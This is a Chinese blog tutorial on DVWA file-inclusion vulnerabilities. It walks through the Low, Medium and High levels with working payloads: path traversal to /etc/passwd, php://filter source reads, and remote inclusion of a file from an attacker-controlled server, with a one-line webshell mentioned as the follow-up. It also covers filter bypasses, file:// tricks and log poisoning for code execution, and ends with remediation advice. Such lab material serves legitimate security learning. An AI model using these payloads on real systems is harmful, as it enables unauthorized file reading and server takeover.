尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DVWA靶场实战:文件包含漏洞从入门到绕过全解析
搞Web安全的人十有八九都在DVWA上练过手。这个专门用来演示漏洞原理的靶场不少新手第一次接触文件包含、SQL注入都是从这里起步的。我这次重新把DVWA完整部署了一遍专门针对文件包含漏洞的低、中、高三个级别做了一次从头到尾的实测。这篇就把整个演示过程、源码差异和绕过思路全部拆开讲清楚尤其是小白最容易卡住的几个地方我会重点标记出来。文件包含漏洞说白了就是一个非常经典但也非常容易被忽视的问题程序在接收用户输入后没有做好过滤就直接拼接到了文件包含函数里攻击者就能利用这个入口去读取服务器上的任意文件甚至执行远程代码。DVWA里这个漏洞分了三个级别正好可以让我们看清安全措施从无到有、从粗糙到严格的变化过程也能帮我们理解为什么有些过滤形同虚设。1. 动手前必读DVWA环境搭建与文件包含漏洞基础1.1 环境准备怎么把DVWA跑起来DVWA是一个开源的PHP靶场项目运行在常规的Web环境里就能工作。我自己用的是Linux系统搭配常见的PHP集成环境部署数据库用的也是内置的MySQL。如果你在Windows上操作思路完全一样无非就是路径写法上有点差异。部署步骤其实非常简单第一步把DVWA源码解压到Web根目录一般在Linux下是/var/www/html/dvwaWindows下是类似C:\phpstudy_pro\WWW\dvwa这样的路径。第二步把config目录里的配置文件复制一份把数据库连接信息改成你自己的账号密码。第三步在浏览器里访问安装页面点击初始化数据库按钮它会自动建表写入数据。第四步用默认账号admin和密码password登录然后把DVWA Security模块里的安全级别从impossible切到你要测的等级。注意DVWA默认的安全级别是impossible也就是所有防护全开的状态。如果你直接在默认配置下测漏洞会发现什么都打不穿这不是环境坏了而是你还没切换级别。这是我见过新手最容易困惑的第一件事。另外要提醒一点文件包含漏洞的利用往往需要读取系统敏感文件所以DVWA所在的这台机器最好是你的本地虚拟机或者测试服务器千万不要在未授权的公网环境里去搭建和测试这个是安全测试的基本红线。1.2 文件包含漏洞的原理到底是什么文件包含是PHP开发中很常见的一个功能。很多站点为了代码复用会把页头、页脚、导航栏这些公共部分抽出来用include或require动态加载。比如你的URL长这样index.php?pageheader.php程序内部大概是这么写的?php $page $_GET[page]; include($page); ?这段代码的本意是根据用户选择的参数加载对应的页面文件。看似方便但你仔细想想$page完全由用户控制那用户传什么它就加载什么。传header.php没问题传/etc/passwd呢它也会老老实实去把系统密码文件内容加载进来并展示到页面上。这就是文件包含漏洞的精髓一个本该被限制在特定目录下的文件加载操作变成了一个任意文件读取的入口。文件包含分为两种类型本地文件包含LFILocal File Inclusion只能读取服务器本地的文件比如/etc/passwd、/var/log/nginx/access.log等。远程文件包含RFIRemote File Inclusion可以加载远程服务器上的文件攻击者把自己写的恶意PHP文件传到另一台服务器上然后让目标站点去包含它直接就能拿到Webshell。RFI的杀伤力比LFI大得多但利用条件也苛刻一些因为PHP默认配置allow_url_include通常是关闭的。DVWA的低级别环境一般会模拟开启让你能完整感受到两种利用方式的差异。1.3 三个级别到底差在哪DVWA把每个漏洞都分了低、中、高、 impossible 四个等级其中impossible是修复后的代码用于对照学习防护方案。文件包含漏洞在低、中、高三个级别里核心差别就是过滤的严格程度级别过滤手段本质问题低完全不过滤输入直接进include函数中替换../、..\和URL编码变体过滤规则可以被路径变形绕过高校验路径开头必须是file协议校验逻辑仍然可以被协议封装绕过一句话总结低级别是裸奔中级别穿了件到处是洞的衣服高级别看着挺严实但依然有缝可钻。下面我就按三个级别逐个演示每一步的操作请求、返回结果我也都实测过可以直接照着试。2. 低级别Low演示无过滤状态下的任意文件读取2.1 先看低级别的源码进入DVWA的文件包含模块切换到Low级别后先别急着操作点开查看源码的按钮你会看到这样的代码?php $file $_GET[page]; include($file); ?你没看错就这两行连一个过滤函数都没有。page参数原封不动地传给了include。这就是最原始、最典型的文件包含漏洞代码所有后续的修复方案都是在这段代码的基础上去打补丁。2.2 基础利用读取系统敏感文件页面正常操作是点击页面上的几个文件链接比如file1.php、file2.php点击之后URL会变成http://127.0.0.1/dvwa/vulnerabilities/fi/?pagefile1.php现在我们把参数改掉尝试读取Linux系统自带的用户密码文件http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../../../etc/passwd为什么前面要加一串../../../../因为当前被包含文件的相对路径是基于当前工作目录的而DVWA的程序文件在/var/www/html/dvwa/vulnerabilities/fi/这个目录下面我们要一层层往上级目录跳一直跳到根目录再进入etc/passwd。实际执行后页面上会直接显示passwd文件的内容类似这样root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh ...看到这段内容就说明漏洞已经被成功触发了。为什么passwd文件这么重要因为它是Linux系统里用户信息的集中地虽然密码字段已经变成了x占位符真正加密的密码放在/etc/shadow里但用户名、UID这些信息可以被用来做后续的用户枚举是提权和横向渗透的第一步。2.3 进阶利用用PHP流封装器读取源代码读系统文件只是开胃菜LFI还有一个更实用的利用方式读取PHP源码本身。你直接请求?page/var/www/html/dvwa/vulnerabilities/fi/file1.php页面确实会把file1.php的内容包含进来但因为它是一个PHP文件会被服务器解析执行你看到的只是渲染后的结果而不是源代码。如果想看源码就需要借助PHP流封装器。构造这样的请求http://127.0.0.1/dvwa/vulnerabilities/fi/?pagephp://filter/convert.base64-encode/resourcefile1.php它的含义是用php://filter这个协议流读取file1.php并把内容经过base64编码后输出。因为编码之后不再是合法的PHP语法服务器就不会去解析它而是原样把编码后的字符串显示在页面上。我们把返回的base64字符串拿去解码就能看到file1.php的原始PHP代码。这个技巧在实战中非常有用因为它让我们不仅仅能读系统文件还能摸清目标应用自身的代码逻辑为下一步构造更精准的攻击打下基础。2.4 远程文件包含直接拿下Webshell低级别环境里如果PHP配置中开启了远程包含功能我们还能直接把代码执行变成现实。方法如下准备一台你能控制的测试服务器在上面放一个内容如下的文件?php phpinfo(); ?然后在DVWA页面发起这样的请求http://127.0.0.1/dvwa/vulnerabilities/fi/?pagehttp://你的测试服务器/shell.txt当DVWA服务器去包含这个远程文件时include函数会把远程文件内容当作PHP代码执行页面上就会输出phpinfo()的结果。如果把这个文件内容换成一句话木马再配合客户端工具就能直接获得目标服务器的控制权后果不言而喻。之所以强调低级别要演示RFI是因为很多新手只关注LFI忽视了远程包含的危害。实际上只要能远程包含代码漏洞性质就从信息泄露直接升级成了代码执行危害等级完全不是一个量级的。3. 中级别Medium演示过滤机制与第一个绕过思路3.1 中级别源码分析切换到Medium级别再次查看源码代码变成了这样?php $file $_GET[page]; $file str_replace(array(../, ..\\), , $file); include($file); ?这个补丁的思路很直接把传入参数里出现的../和..\全部替换成空字符串。在Windows和Linux系统里..都是目录向上跳转的符号过滤掉它们理论上攻击者就没法通过目录穿越去读取系统根目录下的文件了。但是这种过滤方式有一个致命的缺陷它是一次性的、机械的字符串替换而不是真正的路径校验。3.2 绕过技巧一路径变形str_replace函数会把目标字符串替换掉但它在替换之前不会去检查这个字符串还有没有其他含义。于是我们发现如果构造....//替换逻辑会把它中间的../替换走剩下的字符串恰好就是../。也就是说过滤反而帮我们把路径变成了想要的样子。构造如下请求http://127.0.0.1/dvwa/vulnerabilities/fi/?page....//....//....//....//etc/passwd程序先执行替换去掉每个....//中间的../剩下../../../../include函数再按这个路径去加载成功读取到passwd文件。原理图解就是过滤拿走的不是整个..而是字符串里先出现的../三个字符而它留下的片段重新组合成了新的有效路径。这是字符串替换类过滤的通病也是绕过思路中最经典的一种。3.3 绕过技巧二URL双重编码除了路径变形还有一招利用Web服务器和PHP对URL解码的时机差。我们先来看Low级别的URL编码请求长什么样http://127.0.0.1/dvwa/vulnerabilities/fi/?page%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd其中%2e是句号的URL编码%2f是斜杠的URL编码服务器收到后会解码成../../../..//etc/passwd再传给PHP。到了Medium级别开发者似乎预料到了这一点把%2e%2e%2f这种编码形式也加入了替换列表。我们来验证一下使用%252e%252e%252f这种双重编码的形式。这里的原理是Web服务器第一次解码把%25还原成%于是参数变成了%2e%2e%2f...等PHP拿到参数后在str_replace执行之前又做了一次URL解码把%2e%2e%2f还原成了../但此时替换逻辑已经执行完了——它比对的是双重编码前的字符串根本匹配不上../所以过滤完全失效。简单说双重编码利用的是服务器和PHP各解一次码的特性让过滤函数看到的字符串和最终生效的字符串不一致。这种情况在真实环境中也经常出现尤其是一些WAF产品如果只做单层解码就会被这种手法绕过去。3.4 绕过技巧三利用编码差异绕过除了双重编码还有比大小写更隐蔽的绕过方式。尽管Linux路径是大小写敏感的但某些中间件或者PHP环境在特定配置下可能对URL中的编码处理存在差异导致过滤不完整。另外有些过滤规则只针对特定斜杠方向做了处理比如只过滤了反斜杠没过滤正斜杠这时我们就能直接用标准路径分隔符绕过。实测下来在Medium级别还有一个非常实用的方式直接用绝对路径。http://127.0.0.1/dvwa/vulnerabilities/fi/?page/etc/passwd为什么这个能行因为str_replace过滤的是../和..\而绝对路径里根本没有..这个片段。Medium的过滤逻辑误以为只要没有向上的目录跳转操作文件就只能待在当前目录里却忘了PHP的include函数本身是支持绝对路径加载的。这个思路告诉我们绕过过滤的关键往往就是寻找过滤器的盲区而不是非要跟它硬碰硬。3.5 中级别小结Medium级别给我们的最大启发是字符串过滤不等于安全过滤。开发者天真地认为删掉几个字符就能挡住攻击但实际上过滤器没有完整的语义理解能力它只是一个机械的文本处理工具。真实的攻击者会在几毫秒内就发现这条铁律只要过滤基于字符串那么一定存在编码、变形、组合方式能让你的输入绕过检测。4. 高级别High演示更严过滤与协议伪装4.1 高级别源码分析切换到High级别查看源码?php $file $_GET[page]; if (!fnmatch(file*, $file)) { echo 错误文件不存在; } else { include($file); } ?这次过滤思路完全变了。它不再试图删除危险的字符而是采用白名单思路检查传入参数的开头是否是file这个关键字。只有以file开头的文件路径才会被包含其他情况一律拒绝。这个校验方式明显比Medium高级它考虑到了很多攻击面的入口。比如之前我们用的../../etc/passwd开头是../直接被拦下php://filter开头是php也被拦下远程URL开头是http同样过不了这关。4.2 突破点file协议但是白名单的覆盖面足够全吗注意fnmatch(file*, $file)匹配的是开头三个字符是不是file这意味着只要是file开头的字符串都能通过校验。而PHP的include函数支持多种协议封装其中就有一个file://协议。file://协议本身就是用来读取本地文件的它的语法是这样的file:///etc/passwd注意这里有三个斜杠两个是协议自带的分隔符一个是根目录的起始位置。我们把它拼到URL参数里http://127.0.0.1/dvwa/vulnerabilities/fi/?pagefile:///etc/passwd由于参数值以file开头白名单校验顺利通过include函数识别到file://协议直接把本地的passwd文件内容包含进来页面照常显示。High级别的防线就这样被一个协议关键字绕穿了。4.3 进一步利用file协议配合源码读取既然file协议能读系统文件那我们能不能继续读取PHP源码呢理论上可以这样构造http://127.0.0.1/dvwa/vulnerabilities/fi/?pagefile:///var/www/html/dvwa/vulnerabilities/fi/file1.php但这样直接读PHP文件返回的还是解析后的页面。要拿到源码我们得想办法绕过PHP解析。由于High级别限制了开头必须是file之前的php://filter协议就不能直接用了。不过还有一种思路PHP的include函数在包含file协议时依然会执行其中的PHP代码也就是说如果我们能找到一个可以通过file协议读取、内容可控的PHP文件照样能形成代码执行。最经典的利用对象就是Web日志文件。思路是这样的先去访问一个不存在的路径把一句话木马写入日志然后利用文件包含漏洞去包含日志文件服务器解析日志中的PHP代码就能执行命令。这个手法是把LFI升级成RCE的经典套路在真实渗透中也经常能派上用场。4.4 文件包含配合日志注入实战我用DVWA的High级别环境实际试过这个手法完整过程如下第一步先往Web日志里注入恶意内容。随便构造一个包含PHP代码的URL去访问比如http://127.0.0.1/dvwa/index.php?test?php phpinfo(); ?浏览器访问的时候PHP代码会被URL编码但Web服务器写入访问日志时记录的是解码后的原文所以日志里会留下?php phpinfo(); ?这段源码。第二步找到日志文件的路径。DVWA部署在Linux环境时Nginx或Apache的日志通常在/var/log/nginx/access.log或/var/log/apache2/access.logWindows下则在环境对应的logs目录里。第三步用High级别的文件包含去加载这个日志文件http://127.0.0.1/dvwa/vulnerabilities/fi/?pagefile:///var/log/nginx/access.logfile://开头过校验include函数读取日志文件内容日志里那句PHP代码被当作PHP执行页面上弹出phpinfo的信息。到这里High级别的校验已经被彻底击穿。当然这一步在实际过程中有几个变量需要处理日志路径要在自己的环境里实际确认注入的PHP代码要避免被URL编码破坏另外如果日志内容很大include时可能因为格式问题报错需要控制注入的内容尽量精简。这些都是我在实际测试中踩过坑后面会专门展开。4.5 三个级别对比一览把三个级别的测试结果放在一张表里就非常直观了级别防护方式直接尝试结果成功绕过方式低无直接读取passwd成功不需要绕过中替换../及编码直接读取失败路径变形、双重编码、绝对路径高白名单校验file开头常规路径被拒file协议、日志注入配合从这张表能看到一个规律安全级别提升攻击者也随之换工具但核心问题——include函数无条件信任用户输入——一直存在。只要这个根子上的问题不解决任何表层过滤都只是增加攻击成本而不能从根本上阻止攻击。5. 小白最容易卡住的5个问题与排查思路5.1 页面空白或者直接报错很多人第一次测Low级别构造../../../../etc/passwd之后页面不是显示文件内容而是大量PHP警告甚至一片空白第一反应就是失败了。其实不是你要注意看页面顶部或中部有没有PHP的warning信息比如Warning: include(../../../../etc/passwd): failed to open stream: No such file or directory in /var/www/html/dvwa/vulnerabilities/fi/index.php on line 8这个报错说明include函数确实执行了只是路径没找对。为什么会这样因为反向目录穿越的层数取决于你的实际目录深度不同的集成环境目录结构不一样有的要../../../../四层有的只要../../两层。我的建议是从一层开始逐渐增加每次都观察页面变化直到文件内容出现。如果报错不是路径问题而是函数名错误提示比如显示include()被禁用那多半是PHP配置里把危险函数禁用了需要检查disable_functions配置项。DVWA默认环境下不存在这个问题但你自己部署时有可能碰到。5.2 中级别绕过不生效的原因很多人在Medium级别用....//替换法发现还是不行一个常见原因是浏览器或者Web服务器对多个连续斜杠做了规范化处理。某些服务器配置了merge_slashes之类的选项会把连续斜杠压缩成单斜杠这样....//就变成了..../替换后就成了.../自然无效。解决办法是不依赖多个连续斜杠改用绝对路径或者双重编码。如果双重编码也不生效检查一下PHP版本部分新版本PHP对URL解码时机做了调整双重编码不一定有效这时直接换路径变形或者绝对路径试试。5.3 为什么php://filter在High级别不能用这个问题很多人会困惑明明php://filter在Low级别用得好好的切到High级别就不行了是不是代码写错了不是。High级别的白名单校验file*把你的协议开头限制死了php开头过不了。你需要在参数值里先写file:///来满足校验然后再想办法获取源码。比如用file协议去读包含PHP代码的文件虽然直接读会被解析但你可以结合日志注入或者让目标生成一个包含PHP代码的文件再通过file协议包含执行。如果你一定要用filter读源码也不是完全没戏前提是你能找到一个值以file开头、但中间能被解释为filter协议的路径。这类高阶玩法涉及协议之间的嵌套和解析顺序问题在DVWA环境里成功率不稳定不建议小白死磕先把主线逻辑搞通更重要。5.4 include函数和require函数的报错差异在真实源码里你可能遇到两种包含函数include和require。区别在于加载失败时include只产生警告程序继续执行require产生致命错误程序停止。所以你在测的时候如果目标是include页面会带着警告继续输出其他内容如果是require直接白屏。这两种情况都很正常别以为是漏洞不存在反而可以利用报错信息判断底层加载逻辑对后续利用方式的选择有帮助。5.5 allow_url_include的作用远程文件包含不是在所有环境下都能成功的核心开关是PHP配置文件里的allow_url_include选项。默认情况下它是Off也就是禁止include远程文件这时候你构造http://开头的参数会被直接拒绝。在DVWA的Low级别为了教学演示环境往往是开启了远程包含的所以你能成功。但在自己搭建的测试环境里如果发现远程包含失败先去查一下这个配置allow_url_include On改完之后记得重启PHP服务。注意这个配置在真实生产环境中强烈建议保持关闭因为一旦开启等于把RFI的攻击面大门直接敞开代价极高收益几乎为零。6. 从攻击到防御文件包含漏洞的修复清单6.1 修复思路一使用白名单限制可包含文件既然黑名单过滤永远有绕过空间靠谱的方案就是从根本上限制可加载文件的范围。比如把允许加载的文件名写死在一个数组里?php $allowed_files array(file1.php, file2.php, file3.php); $file $_GET[page]; if (in_array($file, $allowed_files)) { include(includes/ . $file); } else { echo 文件不存在; } ?这样无论用户传什么参数最终只会匹配到白名单里的三个文件名攻击者连构造路径的机会都没有。这是我个人最推荐的做法简单、高效、几乎无法绕过。6.2 修复思路二严格校验文件路径如果没有办法用白名单那就必须对文件路径做严格的规范化校验。用PHP内置的realpath()函数获取文件的绝对路径然后检查它是否在你允许的目录范围内?php $base_dir /var/www/html/dvwa/vulnerabilities/fi/includes/; $file $_GET[page]; $full_path realpath($base_dir . $file); if ($full_path strpos($full_path, $base_dir) 0) { include($full_path); } else { echo 非法路径; } ?realpath会把所有../、./、符号链接等全部规范化成绝对路径攻击者即使传了编码变形最终得到的真实路径也逃不出目录范围的检查。6.3 修复思路三关闭危险配置从系统层面加固前面提到的allow_url_include必须保持关闭这一点强烈建议写进你的服务器基线检查清单里。另外运行PHP服务的操作系统用户权限要最小化让它没有权限读取系统中的大部分敏感文件这样即使LFI漏洞发生攻击者能读到的文件也极其有限。还有一点经常被忽略日志文件权限和访问日志的存放位置。因为日志注入攻击只需要攻击者能访问到Web服务所以我们要确保日志文件不能同时被Web服务器用户和系统其他服务用户读取必要时可以调整日志轮转策略避免日志文件无限增长被攻击者找到可利用的长驻内容。6.4 关于漏洞修复的额外思考从DVWA的三个级别可以看到一个有意思的事实Low级别是完全不设防Medium级别是常见的花拳绣腿High级别已经有一定的安全意识但仍然敌不过经验丰富的攻击者。真正的安全修复不是堆砌过滤规则而是要建立一种“用户输入永远不可信”的思维方式。在实际参与安全测试和代码审计的工作中我见过太多看似有防护其实一戳就破的案例。有些项目把大量时间花在给参数加过滤、给请求加签名却忽略了最根本的路径校验和最小权限原则。DVWA的价值就在于它用一个极其简单的例子把这条原理根植到了每一个认真动手实践的人心里。7. 写在最后的实操心得如果你把上面三个级别的操作逐一亲手跑过你其实已经掌握了文件包含漏洞最核心的攻击路径和绕过思路。这套方法论不局限于DVWA换到任何PHP站点面对LFI漏洞你都能按同样的节奏来分析先看参数是否直接进入include函数再分析过滤规则属于黑名单还是白名单最后针对过滤特征选择对应的绕过手法。我个人建议新手在做完DVWA之后去尝试搭建一个模拟项目X作为复习把目标设置成包含图片上传和日志查看功能的简单网站自己尝试找出其中可能存在的文件包含点并尝试用日志注入去实现代码执行。这种从靶场迁移到自建环境的过渡是检验知识是否真正内化的好方法。还有一个小技巧分享给你在测试文件包含漏洞时准备一个字典文件把常见的系统路径、协议封装、编码样本都放进去每次拿到新的目标站点就能快速跑一遍。我自己的常用路径字典里至少有几十条从/etc/passwd到各种日志路径应有尽有。不过注意字典只是辅助真正决定成败的还是你对漏洞原理的理解深度因为这决定了你能不能对现场情况做出正确判断。最后无论你是想入门Web安全还是已经在做渗透测试记住这个底线所有漏洞测试必须在你拥有合法授权的环境中进行。DVWA这类靶场作为学习工具没有问题但一旦把技术用错了地方性质和后果就完全不同了。希望这篇实测记录能帮你把文件包含漏洞这块地基打得扎实。
RELATED

相关推荐

AI辅助教材编写全流程:从框架搭建到低查重原创化实战

AI辅助教材编写全流程:从框架搭建到低查重原创化实战

最近和几位老师一起推进一门专业课的新教材,评审那边明确要求查重率必须控制在较低水平,最严的一章甚至要求低于某个很紧的比例。有人第一反应是:那就不用AI写了,AI生成的内容肯定查重高、机器味重、没法用。这个判断我以前也信&a…

📅 2026/10/19 3:55:35
MySQL数据预处理实操指南:清洗、去重、转换与批处理全解

MySQL数据预处理实操指南:清洗、去重、转换与批处理全解

写数据预处理这活儿,说难不难,说简单也不简单。我在做数据报表、数据仓库这类项目时,最耗时间的往往不是后面那些花里胡哨的可视化,而是最开头把一张张原始表拾掇干净的过程。MySQL的数据预处理,说白了就是在 SQL 层面…

📅 2026/10/19 3:55:35
电动汽车直流充电机仿真建模与谐波分析实战解析

电动汽车直流充电机仿真建模与谐波分析实战解析

电动汽车直流充电机的仿真建模与谐波分析,这个项目我前前后后做过好几轮,每次做完都有新的体会。可能很多人一看标题,觉得无非就是把三相整流桥加个直流侧电容,跑个仿真看看波形,算个THD(总谐波畸变率&…

📅 2026/10/19 3:55:35
MORE NEWS

更多资讯

📰

暗光旗舰“月之暗面”如何凭影像实力挤进决赛圈?

“月之暗面,挤进决赛圈”——这个标题最近在数码圈讨论度不低。字面上它是两件事的缝合:一边是那张经典专辑的名字,另一边是电竞解说里最常喊的那句“决赛圈”。放到手机圈里,实际指的是一款以“月之暗面”命名的旗舰机型&#xf…

📰

给AI装上眼睛:多模态视觉识别全流程实战

今天早上我在调试一个自动化脚本,遇到一张截图死活读不出关键信息。这个脚本本身没毛病,OA系统里的弹窗也截得清清楚楚,可它就是看不懂里面的“请于三日内审批”八个字。我盯着那行文字看了几秒,突然意识到一件事:我的…

📰

给AI助手装上“眼睛”:摄像头+视觉大模型+语音闭环实战

今天折腾了一整天,终于给 AI 助手装上了“眼睛”——它现在能通过摄像头看到周围的环境,会主动描述画面里的内容,还能结合语音跟我进行对话。这件事听起来很科幻,实际操作下来,其实比想象中简单得多。我的基础不算好&a…

📰

从橡皮鸭调试法到拆解AI黑盒:可解释性实践指南

1. 那只橡皮鸭到底是怎么回事1.1 橡皮鸭调试法的由来与基本操作先说个我自己的经历。有段时间我调一个数据处理脚本,逻辑怎么查都查不出毛病,数据一跑就错,但错得又很有规律。我盯着屏幕半小时,愣是没看出问题。后来同事路过&…

📰

LTspice变压器仿真完全指南:从耦合电感建模到反激电源实战

LTspice这个软件在电源圈子里几乎人手一份,免费、轻量、原厂模型齐全,平时做开关电源、运放、滤波器仿真都特别顺手。但一提到“变压器仿真”,很多人第一反应就是用LTspice的变压器符号,然后直接放上去跑,结果波形乱七…

📰

PyTorch实战:猫狗图像分类从入门到部署

1. 为什么猫狗分类是入门深度学习的“试金石”如果你刚接触深度学习,想找一个既能跑通完整流程、又不会一上来就被复杂工程劝退的项目,猫狗图像分类几乎是公认的最佳起点。它不像手写数字识别那样过于简单,也不像目标检测或图像分割那样涉及大…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬